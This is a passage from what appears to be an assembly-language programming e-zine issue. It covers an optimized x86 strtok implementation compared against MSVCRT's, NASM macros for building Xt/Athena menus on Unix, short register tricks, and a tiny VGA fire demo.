enterPhase2:  mov  al, [edi] 
    test  al, al 
    jnz  short loopPhase2 
    mov  eax, [ebp+v_pointer] 
    mov  [eax], edi
    mov  eax, [ebp+v_retval] 
 
return:   pop  esi 
    pop  edi 
    leave 
    retn 
_strtok   endp 
 
Explanation: 
First af all, s1 is checked. If it is null, the pointer to the string is 
restored from where it was saved on the previous call. (One value is saved for 
each thread, not for each process, so it can't be stored in the .data segment). 
 
Then we enter the first loop, Phase1. Here characters are read until one is 
found that does NOT belong to s2 (then jump to Phase2) or the terminating NULL 
is reached (then just return NULL). Every character read from s1 is compared 
against all characters in s2 (in the Scan1 loop). 
 
The second loop, Phase2 (if we reach it), reads characters from s1 until one is 
found that belongs to s2 (then replace it with a NULL, return) or the 
terminating NULL is reached (then just return). 
 
Actually before entering Phase2, the pointer to the current char in s1 is saved, 
and it is returned in EAX as the return value. 
 
Notice that the string s1 is modified by strtok. 
 
 
 
III. ESTIMATING PERFORMANCE 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
 
As noted in the introduction, the speed of _strtok can't be calculated in a 
'k+l*n' way. So a more general 'speed' is estimated: 
 
The above _strtok function is really slow for three reasons: 
1. '__thread_data' calls various other functions, slowing code down. 
   (actually, this does not exist in the single‐thread library) 
2. The code is not pentium‐optimized, not optimized at all I'd say. 
3. The algorithm used is REALLY bad. 
 
Reason 3 is the most important. Even the fastest code written to use this 
algorithm would be slow. The reason is that there are two NESTED loops, one to 
find the first character of the token and one to find the first delimiter. 
Supposing that s1 does not start with a delimiter, then to get the first token, 
each character of the token is compared to EVERY character of s2. This means 
that if the first token of s1 is 10 characters long, and s2 contains 10 
delimiter characters, at least 10*10=100 loop cycles are needed. Try duplicating 
s2, to be 20 characters long. Without adding information, 10*20=200 loop cycles 
are needed now. 
 
 
 
IV. THE LOOKUP TABLE 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
 
To get rid of the nested loops, the function must have a 'direct' way of knowing 
if a character (read from s1) exists in s2. This is accomplished through a 
lookup table, i.e. a region of memory holding, for each of the 256 different 
characters, a value that indicates if that character is a delimiter. So the 
function will consist of one loop scanning s2 and setting values in the lookup 
table, and another one scanning s1 and comparing it's values against the lookup 
table. 
 
Some considerations regarding the lookup table must be made: 
‐ First of all, forget Unicode. No one would like a lookup table with 65536 
entries... 
‐ The values in the table can be either bits or bytes. It's easier and faster to 
access the values in a byte‐sized table, but it takes more time to reset the 
lookup table each time the function is called 
‐ The lookup table can be either local (stack) or global (.data segment). The 32 
bytes needed create no problems in either place. It is faster to have a local 
table (for various reasons), and it's also more reasonable. Yet a global lookup 
table allows for an interesting extension to _strtok: 
    It is common to use the same s2 string many times. By using a global table, 
    which is preserved across calls, the caller may pass NULL as s2, to reuse 
    the last lookup table. This way a lookup table is calculated only once. 
    For a more specific application, where speed is essential, but instead of 
    only one delimiter string, there are more, the function can be improved to 
    receive, instead of s2, a pointer to a lookup table, either built in or 
    created by another function 
 
In this essay we'll stick to the 'normal' strtok, using a local table. 
This is also the way _strtok is implemented in MSVCRT (with bit values). See for 
yourselves: 
 
 
 
V. STRTOK IN MSVCRT 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
 
strtok  proc near 
 
lookup  = byte ptr ‐20h 
a_s1  = dword ptr  4 
a_s2  = dword ptr  8 
 
  sub  esp, 20h 
  push  ebx 
  push  ebp 
  mov  ebp, [esp+28h+a_s2]  ; EBP points at s2 
  push  esi 
  push  edi 
  call  GetTls 
  mov  edx, eax 
  mov  ecx, 8 
  xor  eax, eax 
  lea  edi, [esp+30h+lookup] 
  mov  [esp+30h+a_s2], edx  ; save in a_s2 the value by GetTls 
  repe stosd      ; reset lookup table 
 
; Loop1 : scan s2 and set lookup table values 
 
loop1:  mov  al, [ebp+0] 
  mov  bl, 1 
  mov  ecx, eax 
  and  ecx, 0FFh 
  mov  esi, ecx 
  and  ecx, 7 
  shr  esi, 3 
  shl  bl, cl 
  mov  cl, [esp+esi+30h+lookup] 
  lea  esi, [esp+esi+30h+lookup] 
  or  cl, bl 
  inc  ebp 
  test  al, al 
  mov  [esi], cl 
  jnz  short loop1 
 
  mov  esi, [esp+30h+a_s1]  ; ESI points at s1 
  test  esi, esi 
  jnz  short skip 
  mov  esi, [edx+18h]    ; s1 NULL, restore previous 
 
skip:  mov  dl, [esi] 
  mov  eax, 1 
  mov  edi, edx 
  and  edi, 0FFh 
  mov  ecx, edi 
  and  ecx, 7 
  shl  eax, cl 
  shr  edi, 3 
  mov  cl, [esp+edi+30h+lookup] 
  test  cl, al 
  jz  short exit2 

; Loop2 : find first non delimiter, or NULL 
 
loop2:  test  dl, dl 
  jz  short exit2 
  mov  dl, [esi+1] 
  inc  esi 
  mov  eax, edx 
  mov  ebx, 1 
  and  eax, 0FFh 
  mov  ecx, eax 
  and  ecx, 7 
  shl  ebx, cl 
  shr  eax, 3 
  mov  al, [esp+eax+30h+lookup] 
  test  al, bl 
  jnz  short loop2 
 
exit2:  mov  al, [esi] 
  mov  edi, esi 
  test  al, al 
  jnz  short enter3 
  jmp  short exit3    ; NULL found, return NULL 
; ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
 
; Loop3 : Find delimiter marking the end of the token 
 
loop3:  mov  al, [esi+1] 
  inc  esi 
  test  al, al 
  jz  short exit3 
 
enter3: and  eax, 0FFh 
  mov  edx, 1 
  mov  ecx, eax 
  and  ecx, 7 
  shl  edx, cl 
  shr  eax, 3 
  mov  al, [esp+eax+30h+lookup] 
  test  al, dl 
  jz  short loop3 
  mov  byte ptr [esi], 0  ; mark the end of token 
  inc  esi      ; point s1 to next char 
 
exit3:  mov  ecx, [esp+30h+a_s2]  ; value by GetTls 
  mov  eax, edi 
  sub  eax, esi 
  neg  eax 
  sbb  eax, eax 
  mov  [ecx+18h], esi    ; store pointer for next call 
  and  eax, edi 
  pop  edi 
  pop  esi 
  pop  ebp 
  pop  ebx 
  add  esp, 20h 
  retn 
strtok  endp 
 
GetTls is a function in MSVCRT.DLL that uses GetTlsValue to get thread storage 
space. The layout is rather easy to understand, the 'bit‐fiddling' to access the 
values in the lookup table is a bit complicated. But it's rather good code. Yet 
it can be optimized even more at a low level. 
 
 
 
VI. FINAL VERSIONS 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
 
This is the final version using bit values in the lookup table: 
 
.data 
masks  db 1,2,4,8,16,32,64,128 
 
.code 
_strtok proc 
  push  edi 
  push  ebx 
  xor  eax, eax 
  mov  edi, [esp+16]  ; s2 [delimiters] 
 
  rept 7 
  push  eax    ; reset table 
  endm 
  push  1    ; set NULL as a separator 
 
  mov  al, [edi] 
  inc  edi 
  or  al, al 
  jz  skip1 
  mov  ecx, eax 
  mov  ebx, eax 
 
loop1:  shr  ebx, 3 
  and  ecx, 7 
  mov  al, [edi] 
  inc  edi 
  mov  dl, masks[ecx] 
  mov  ah, [esp+ebx] 
  mov  cl, al 
  or  dl, ah 
  mov  [esp+ebx], dl 
  mov  bl, al 
  or  al, al 
  jnz  loop1 
 
skip1:  mov  edi, [esp+44]  ; s1 [string] 
  xor  eax, eax 
 
  test  edi, edi 
  jnz  short loop2 
  mov  edi, [pointer] 
 
loop2:  mov  cl, [edi] 
  inc  edi 
  mov  ebx, ecx 
  and  ecx, 7 
  or  bl, bl 
  jz  short nomore  ; no more tokens, return NULL 
  shr  ebx, 3 
  mov  cl, masks[ecx] 
  test  [esp+ebx], cl 
  jnz  short loop2 
 
  lea  eax, [edi‐1]  ; this is the return value 
 
loop3:  mov  cl, [edi] 
  mov  ebx, ecx 
  and  ecx, 7 
  shr  ebx, 3 
  inc  edi 
  mov  cl, masks[ecx] 
  test  [esp+ebx], cl 
  jz  short loop3 
 
  mov  cl, [edi‐1] 
return: mov  byte ptr [edi‐1], 0 
nomore: cmp  cl, 1 
  sbb  edi, 0 
  mov  [pointer], edi 
  add  esp, 20h 
  pop  ebx 
  pop  edi 
  retn 
_strtok endp 
 
Again, the general layout is rather simple (same as in MSVCRT) . The bit 
fiddling is even 'stranger', and the instruction order is a bit weird, in order 
to achieve optimum pairing. But it runs at about more than twice the speed 
msvcrt does. 
 
The main features of this version are: 
‐Space in the stack is allocated by PUSHing 8 times (PUSH pairs with itself, so 
it only takes 4 cycles to allocate and clear the table) 
‐8 bytes in the .data segment contain the masks used to acces bits 0 to 7 in a 
byte, thus allowing faster bit‐value access. 
‐It works, and it works FAST. 
 
A little bit faster (not always, though, since memory access is more intense) is 
this version with byte values in the lookup table: 
 
_strtok proc 
  xor  ecx, ecx 
  mov  edx, [esp+8]  ; s2 [delimiters] 
 
  rept 63 
  push  ecx    ; reset table 
  endm 
  push  1    ; set NULL as a separator 
 
  mov  cl, [edx] 
  inc  edx 
  or  cl, cl 
  jz  skip1 
 
loop1:  mov  byte ptr [esp+ecx], 1 
  mov  cl, [edx] 
  inc  edx 
  or  cl, cl 
  jnz  loop1 
 
 
skip1:  mov  edx, [esp+4+256] ; s1 [string] 
  xor  eax, eax 
 
  test  edx, edx 
  jnz  short loop2 
  mov  edx, [pointer] 
 
loop2:  mov  cl, [edx] 
  inc  edx 
  or  cl, cl 
  jz  short nomore  ; no more tokens, return NULL 
  cmp  byte ptr [esp+ecx], 1 
  je  short loop2 
 
  lea  eax, [edx‐1]  ; this is the return value 
  nop 
 
loop3:  mov  cl, [edx] 
  inc  edx 
  cmp  byte ptr [esp+ecx], 1 
  jne  short loop3 
 
return: mov  byte ptr [edx‐1], 0 
nomore: cmp  cl, 1 
  sbb  edx, 0 
  mov  [pointer], edx 
  add  esp, 256 
  retn 
_strtok endp 
 
 
 
::/ \::::::. 
:/___\:::::::. 
/|    \::::::::. 
:|   _/\:::::::::. 
:| _|\  \::::::::::. 
:::\_____\:::::::::::............................................THE.UNIX.WORLD 
                    Using Menus in Xt 
                    by mammon_ 
 
 
A simple one‐button application will not get you very far in the X world. A 
good application must have multiple components, including menus, dialog boxes, 
application windows, and accelerators. In this article I will present the use 
of Xt menus in assembly language as a first step towards producing a complete 
application; future articles will cover the integration of forms, dialog 
boxes, and other resources into a complete application. 
 
I presented some Xt macros for Nasm last issue, but have revised them after a 
bit more testing. The CALLBACK macros have been rewritten, and an InitXtApp 
macro has been written as well to take care of the generic Xt application 
startup code. 
;=======================================================================‐xt.inc 
%macro InitXtApp 5 
;‐‐‐‐‐‐Usage:   InitXtApp TopLevelWidget, Context, ClassName, ARGC, ARGV 
EXTERN XtVaAppInitialize 
  push dword 0 
  push dword 0 
  push dword 0 
  push dword %5 
  push dword %4 
  push dword 0 
  push dword 0 
  push dword %3 
  push dword %2 
  call XtVaAppInitialize 
  add esp, 36 
  mov [%1], eax 
%endmacro 
 
%macro CALLBACK 1 
;‐‐‐‐‐‐Usage:  CALLBACK name 
GLOBAL %1 
%1: 
%define CallData  [ebp+8] 
%define ClientData  [ebp+12] 
%define Widget    [ebp+16] 
  push ebp 
  mov ebp, esp 
%endmacro 
 
%macro CALLBACK_RETURN 0 
;‐‐‐‐‐‐Usage:         CALLBACK_RETURN 
  mov  esp, ebp 
  pop  ebp 
  ret 
%endmacro 
 
%macro ShowXtWidget 1 
;‐‐‐‐‐‐Usage:      ShowXtWidget Widget 
EXTERN XtRealizeWidget 
  push dword [%1] 
  call XtRealizeWidget 
  add esp, 4 
%endmacro 
 
%macro XtAppLoop 1 
;‐‐‐‐‐‐Usage:   XtAppLoop Context
EXTERN exit 
EXTERN XtAppMainLoop 
  push dword [%1] 
  call XtAppMainLoop 
  add  esp, 4 
  push dword 0 
  call exit 
%endmacro 
;============================================================================== 
 The first thing that must be done in creating an application menu is to 
 create a "menubar" that will contain the component menu buttons. This often 
 takes the place of a Box or Form widget that resides on the top or left edge 
 of an application. The menu bar will later be "filled" with a button for each 
 menu [e.g. File, Edit, Options, Help]. 
 
 I have opted to use the Box widget for the menubar as it requires less 
 initialization than the Form widget; normally it defaults to a vertical 
 stacking of the component buttons, but this can be fixed with further 
 configuration and will be addresses in a future article. 
 
 To create a menubar widget I have create a macro which will simply create a 
 Box widget; it takes as its parameters a pointer to the parent widget 
 [usually the top‐level widget], the name of the menubar class, and a dword 
 variable which will become a pointer to the Box instance: 
;=======================================================================‐xt.inc 
%macro CreateMenuBar 3 
;‐‐‐‐‐‐Usage:       CreateMenuBar ParentWidget, ClassName, MenubarWidget 
EXTERN boxWidgetClass 
EXTERN XtCreateManagedWidget 
  push dword 0 
  push dword 0 
  push dword [%1] 
  push dword [boxWidgetClass] 
  push dword %2 
  call XtCreateManagedWidget
  mov  [%3], eax 
  add esp, 20 
%endmacro 
 
;============================================================================== 
Following this, a button must be created for each menu as a component of the 
Box or menubar widget. Each button is then associated with a Menu widget 
through the XtCreatePopupShell call. 
 
In Xt Athena, a menu is a button which, when pressed, creates a "Popup Shell"; 
that is, a container which contains the various menu items. These items are 
known as smeObjectClasses, or "simple menu entry" objects; selecting a simple 
menu entry from the popup shell [in plain English, "selecting a menu item"] 
will cause the callback for that menu item to be invoked and any data 
associated with the menu to be sent to the callback. 
 
The AddMenu macro will create a menu button and popup shell for a given menu; 
it takes as its parameters the pointer to the parent Menubar widget, the ASCII 
string to be displayed in the menu [e.g. "File", "Edit", etc], a dword 
variable to be filled with a pointer to the menu button, and a dword variable 
to be filled with a pointer to the menu [or "popup shell"] itself: 
;=======================================================================‐xt.inc 
%macro AddMenu 4 
;‐‐‐‐‐‐Usage:  AddMenu  MenubarWidget, MenuText, MenuButtonWidget, MenuWidget 
%ifndef _menu_classname 
EXTERN menuButtonWidgetClass 
EXTERN XtCreateManagedWidget 
EXTERN simpleMenuWidgetClass 
EXTERN XtCreatePopupShell 
[section .data] 
_menu_class  db  "menu",0 
[section .text] 
%define _menu_classname 
%endif 
  push dword 0 
  push dword 0 
  push dword [%1] 
  push dword [menuButtonWidgetClass] 
  push dword %2 
  call XtCreateManagedWidget
  mov  [%3], eax 
  add esp, 20 
 
  push dword 0 
  push dword 0 
  push dword [%3] 
  push dword [simpleMenuWidgetClass] 
  push dword _menu_class 
  call XtCreatePopupShell 
  mov  [%4], eax 
  add  esp, 20 
%endmacro 
;============================================================================== 
Once the menu is created, it must be filled with menu items. The standard menu 
item is an smeBSBObject, meaning "simple menu entry: Bitmap‐String‐Bitmap"; 
that is, each line can consist of a bitmap followed by a string followed by a 
bitmap. This can be useful for providing "visual"/eyecandy menus, or for 
checking and unchecking [via an "x" bitmap] menu items. For this example, I am 
using only string menu entries. 
 
Menu items are added with the standard CreateManagedWidget function, then 
associated with a callback routine just like standard Xt widgets. The 
AddMenuItem macro performs both of these functions and takes as its parameters 
the pointer to the parent Menu, the text to be displayed in the menu item, a 
pointer to the data associated with the menu item, and the address of the 
callback routine: 
;=======================================================================‐xt.inc 
%macro AddMenuItem 4 
;‐‐‐‐‐‐Usage:     AddMenuItem MenuWidget, MenuItemText, MenuItemID, Callback 
%ifndef menu_entry_ptr 
EXTERN smeBSBObjectClass 
EXTERN XtCreateManagedWidget 
EXTERN XtAddCallback 
[section .data] 
MenuEntry: 
.ptr    dd  0 
_callback_type  db  "callback",0 
[section .text] 
%define menu_entry_ptr 
%endif 
  push dword 0 
  push dword 0 
  push dword [%1.ptr] 
  push dword [smeBSBObjectClass] 
  push dword %2 
  call XtCreateManagedWidget
  mov [MenuEntry.ptr], eax 
  add esp, 20 
 
  push dword %3 
  push dword %4 
  push dword _callback_type 
  push dword [MenuEntry.ptr]
  call XtAddCallback 
  add  esp, 16 
%endmacro 
;============================================================================== 
Note that the pointer to the Menu Item Entry widget is needed only to install 
the callback, and can then be discarded. 
 
I have also included a separator menu  item to break up the menus a bit; this 
is simply a menu item of class smeLineObject which does nothing; as such, the 
AddMenuSeparator macro requires only the pointer to the parent Menu as a 
parameter: 
;=======================================================================‐xt.inc 
%macro AddMenuSeparator 1 
;‐‐‐‐‐‐Usage:    AddMenuSeparator MenuWidget 
%ifndef _szseperator 
EXTERN smeLineObjectClass 
EXTERN XtCreateManagedWidget 
[section .data] 
_szSep  db  "line",0 
[section .text] 
%define _szseperator 
%endif 
  push dword 0 
  push dword 0 
  push dword [%1.ptr] 
  push dword [smeLineObjectClass] 
  push dword _szSep 
  call XtCreateManagedWidget
  mov [MenuEntry.ptr], eax 
  add esp, 20 
%endmacro 
;============================================================================== 
Why so many macros? To ease the tedium. The Xt code presented below was many 
pages longer before I converted the menu creation routines ‐‐which run 10 to 
20 lines apiece‐‐ into macros. Also, looking at the sample application, you 
will see that all of the "generic" Xt code has been compressed to a few lines, 
leaving the bulk of the "real code" in the callback routine and in the 
resource definitions. 
 
I have chosen to use a single callback for all of the menu items; this is the 
most simple and perhaps the most efficient method. Each menu entry has a 
unique integer ID which is passed to the callback as data when the menu item 
is selected; the callback compares its incoming ClientData variable with each 
of the menu entry IDs until it finds a match, whereupon it jumps to a specific 
subroutine for each different ID. In short, a typical message handler ‐‐ 
though I refrained from my notorious call‐table and SWITCH/CASE macros in this 
case for the sake of clarity. 
 
The structure of the Widget declarations in this file could also bear some 
discussion. I have chosen to treat all widgets declared in the application 
[*not* references to the external widget classes reference by the app, but 
rather the pointers to those classes] as primitive structures of the following 
form: 
WidgetInstance: 
.ptr  dd  0 
.name  db  'name',0 
This makes things easier, for the widget pointer can now be referred to as 
[WidgetInstance.ptr], and the widget name can be referred to as 
WidgetInstance.name. Notice that all widget pointers must be referenced in 
brackets; the typical C use of a pointer is to pass the address contained in 
the pointer, not the address of the pointer itself [unless the pointer is 
dereferenced by a "&", in which case the brackets should not be used in the 
assembly language equivalent]. 
 
The menu widgets have a similar, but more advanced syntax: 
MenuName: 
.ptr 
.name 
.button 
.Entryname 
.EntrynameID 
This allows the pointer for each menu button to be stored along with the rest 
of the menu data, and also allows menu entries to be referenced as "members" 
of the menu "structure", e.g. MenuName.Entryname would be the text of the menu 
item, and MenuName.EntrynameID would be the integer ID for the menu item. 
 
Now for the actual implementation:
;===================================================================‐xtmenu.asm 
BITS 32 
EXTERN exit 
EXTERN printf 
%include "Xt.inc" 
;==========================================================================DATA 
[section .data] 
;______________Widgets__________________________ 
Shell: 
.ptr    dd  0 
.name    db  "shell",0 
MenuBar: 
.ptr    dd  0 
.name    db  "menubar",0 
 
;_______________Menus___________________________ 
FileMenu: 
.ptr    dd  0 
.name    db  "File",0 
.button   dd  0 
.New    db  "New",0 
.NewID    dd  "101" 
.Open    db  "Open",0 
.OpenID   dd  "102" 
.Save    db  "Save",0 
.SaveID   dd  "103" 
.Close    db  "Close",0 
.CloseID  dd  104 
.Exit    db  "Exit",0 
.ExitID   dd  105 
 
HelpMenu: 
.ptr    dd  0 
.name    db  "Help",0 
.button   dd  0 
.About    db  "About",0 
.AboutID  dd  201 
 
;____Classes____________________________________ 
XtMenu:   db  "XtMenu",0
 
;____Misc_______________________________________ 
ARGC:  times 128 db  0 
szOutString  db  "%s selected",0ah,0dh,0 
AppContext  dd  0 
 
;==========================================================================CODE 
[section .text] 
CALLBACK CBMenuSelect 
  mov ebx, ClientData 
  mov eax, [ebx] 
  cmp eax, dword [FileMenu.NewID] 
  je  MenuNew 
  cmp eax, dword [FileMenu.OpenID] 
  je  MenuOpen 
  cmp eax, dword [FileMenu.SaveID] 
  je  MenuSave 
  cmp eax, dword [FileMenu.CloseID] 
  je  MenuClose 
  cmp eax, dword [FileMenu.ExitID] 
  je  MenuExit 
  cmp eax, dword [HelpMenu.AboutID] 
  je  MenuAbout 
  jmp unhandled 
MenuNew: 
  push dword FileMenu.New 
  jmp do_printf 
MenuOpen: 
  push dword FileMenu.Open 
  jmp do_printf 
MenuSave: 
  push dword FileMenu.Save 
  jmp do_printf 
MenuClose: 
  push dword FileMenu.Close 
  jmp do_printf 
MenuAbout: 
  push dword HelpMenu.About 
do_printf: 
  push dword szOutString 
  call printf 
  add  esp, 8 
unhandled: 
  CALLBACK_RETURN 
MenuExit: 
  mov  esp, ebp 
  pop  ebp 
  push dword 0 
  call exit 
  ret 
;____________________________________________________________PROGRAM_ENTRYPOINT 
GLOBAL main 
main: 
  InitXtApp Shell.ptr, AppContext, XtMenu, ARGC, 0 
 
;‐‐‐‐‐‐‐Make Menu 
  CreateMenuBar Shell.ptr, MenuBar.name, MenuBar.ptr 
  AddMenu MenuBar.ptr, FileMenu.name,FileMenu.button, FileMenu.ptr 
  AddMenu MenuBar.ptr, HelpMenu.name,HelpMenu.button, HelpMenu.ptr 
 
;‐‐‐‐‐‐‐Build File Menu 
  AddMenuItem FileMenu, FileMenu.New, FileMenu.NewID, CBMenuSelect 
  AddMenuItem FileMenu, FileMenu.Open, FileMenu.OpenID, CBMenuSelect 
  AddMenuItem FileMenu, FileMenu.Save, FileMenu.SaveID, CBMenuSelect 
  AddMenuItem FileMenu, FileMenu.Close, FileMenu.CloseID, CBMenuSelect 
  AddMenuSeparator FileMenu 
  AddMenuItem FileMenu, FileMenu.Exit, FileMenu.ExitID, CBMenuSelect 
;‐‐‐‐‐‐‐Build Help Menu 
  AddMenuItem HelpMenu, HelpMenu.About, HelpMenu.AboutID, CBMenuSelect 
 
;‐‐‐‐‐‐‐Show Top‐Level Widget 
  ShowXtWidget Shell.ptr 
;‐‐‐‐‐‐‐Enter Xt Application Loop 
  XtAppLoop AppContext 
 
    ;___Compile_Strings_________________________________________ 
    ;  nasm ‐f elf xtmenu.asm 
    ;  gcc ‐o xtmenu xtmenu.o ‐lXaw ‐lXt ‐lX11 ‐L/usr/X11R6/lib 
;==========================================================================‐EOF 
The strings needed to compile and link Xt assembly apps are provided at the 
end of the file. Note once again how short the main application code is; the 
menu data could easily be moved into an xtmenu.inc file and thereby trim the 
"apparent size" of the application down to the initialization code and the 
callback. 
 
Further automation could involve creating a "resource editor" which would 
produce .INC files compatible with the Xt.inc macros, as well as creating 
high‐level calls to automatically adjust the stack and high‐level structures 
to deal with message handling in the callback. 
 
 
 
::/ \::::::. 
:/___\:::::::. 
/|    \::::::::. 
:|   _/\:::::::::. 
:| _|\  \::::::::::. 
:::\_____\:::::::::::................................ASSEMBLY.LANGUAGE.SNIPPETS 
                     Triple XOR 
                     by Jan Verhoeven 
;Summary: exchange the contents of two registers using 
;    as few storage locations as possible 
;Compatibility: all x86 assemblers
;Notes: Will work for memory locations, etc 
  xor  ax, bx 
  xor  bx, ax 
  xor  ax, bx 
 
                     Trailing Calls 
                     by Jan Verhoeven 
;This is really more of a trick than a snippet. It is quite common to come 
;across code such as 
    cmp  ax, [Sector][2] 
    jne  >L0 
    inc  ax 
  L0:  call  TestDrive 
    ret 
;This amounts to two ret's, one in the above code and one in the TestDrive 
;routine. To save a bit of space and overhead, we can make use of TestDrive's 
;ret to return from our own routine: 
    cmp  ax, [Sector][2] 
    jne  >L0 
    inc  ax 
  L0:  jmp  TestDrive 
 
 
 
::/ \::::::. 
:/___\:::::::. 
/|    \::::::::. 
:|   _/\:::::::::. 
:| _|\  \::::::::::. 
:::\_____\:::::::::::...........................................ISSUE.CHALLENGE 
                   Fire Demo in < 100 bytes 
                   by iCE 
 
 
 [Another preface, I must be getting wordy in my old age. I received this code 
  from iCE as a potential snippet or challenge; I chose to include it as the 
  latter, for it put a nice spin on one of the classic asm learning programs: 
  the VGA fire demo. 
 
  I have not pushed iCE for a commentary as the code is rather clear; it produces 
  a small greyscale fire [roughly a third of the screen in my DOS VMWare box] that 
  runs until a key is pressed. The key is using the greyscale as a sort of dynamic 
  palette; this eliminates the need for a costly color palette that is easily 100 
  bytes itself. Although to be sure, the program now runs the risk of being renamed 
  "static.asm" ;) 
 
  _m    ] 
 
 
; 66 bytes Graphic Fire demo. 
; assemble using 'Tasm FIRE.ASM' and 'Tlink /t FIRE.OBJ' 
;======================================================================FIRE.ASM 
.MODEL TINY 
.CODE 
.386 
ORG 100H 
START: 
 
  push  0a000h 
  pop  es 
  push  es 
  pop  ds 
 
  mov  al,13h    ; mode 13h. (AX=0) 
  int  10h 
 
        ; gray‐scale routine 
  mov  dx,3c8h 
  CBW      ; set ax=0 
  out  dx,al 
  inc  dx 
  gs_loop: 
  out  dx,al 
  out  dx,al 
  out  dx,al 
  inc  ax 
  jnz  short gs_loop 
 
;‐‐‐ 
MainLoop: 
  mov  si,1280   ; 
  mov  ch,5dh    ; y‐pos, the less the faster demo 
  push  si 
  push  cx 
 
Sloop: 
  lodsb 
  add  al,[si]   ; pick color and 
  add  al,[si+320]  ; pick one more and 
  shr  al,2    ; divide, we got a 
        ; 'smooth‐fire‐routine' 
 
  mov  [si‐960],al  ; put color 
  loop  short Sloop 
 
  pop  di 
  pop  cx 
 
 
 
Randoml: 
  mul  word ptr [di+1] ; 'random' routine. 
  inc  ax 
  stosw 
  loop  short Randoml 
 
  MOV  AH,1    ; check keypress 
  INT  16h 
  Jz  short MainLoop 
 
;‐‐‐ 
Die: 
  mov  ax,3    ; text‐mode 
  int  10h 
  ret      ; A com program may end using ret 
END  start 
;==========================================================================‐EOF 
 
 
 
 
 
::/ \::::::. 
:/___\:::::::. 
/|    \::::::::. 
:|   _/\:::::::::. 
:| _|\  \::::::::::. 
:::\_____\:::::::::::.......................................................FIN 
Top Next Issue

You might also like